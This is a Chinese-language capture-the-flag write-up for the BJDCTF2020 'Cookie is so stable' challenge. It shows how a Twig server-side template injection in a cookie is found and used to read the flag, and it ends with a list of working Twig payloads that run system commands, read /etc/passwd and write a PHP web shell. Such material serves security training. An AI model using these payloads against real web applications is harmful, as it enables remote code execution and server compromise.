[BJDCTF2020]Cookie is so stable-1|SSTI注入
作者:互联网
1、打开之后在各个界面查看源代码,未发现很明显的有用信息,仅发现了提示,结果如下:
2、尝试输入数据,结果就是输入什么就回显什么,也未进行过滤,尝试进行sql注入失败,结果如下:
3、那就根据提示抓包查看下cookie信息,结果如下:
4、sql注入失败,这里想到了ssti注入,那就进行ssti注入测试,payload:{{2*2}},结果如下:
5、确定了ssti注入之后,该如何选择ssti注入方式呢,观察抓取的数据包中存在关于服务端的关键信息,结果如下:
6、确定服务端的语言之后,范围就很小了,补充下各种语言发生ssti注入的模板,如下:
python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp
7、确定此处产生ssti注入的模板可以为smarty、twig等,那就一个一个尝试,这里就直接使用twig模板的注入方式进行注入了,payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}},结果如下:
twig常用的注入payload:
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
这里附上另外一道ssti注入题的解析方式:https://www.cnblogs.com/upfine/p/16500169.html
ssti注入模板参考文章:http://t.zoukankan.com/bmjoker-p-13508538.html
标签:twig,self,如下,ssti,so,env,stable,SSTI,注入 来源: https://www.cnblogs.com/upfine/p/16534494.html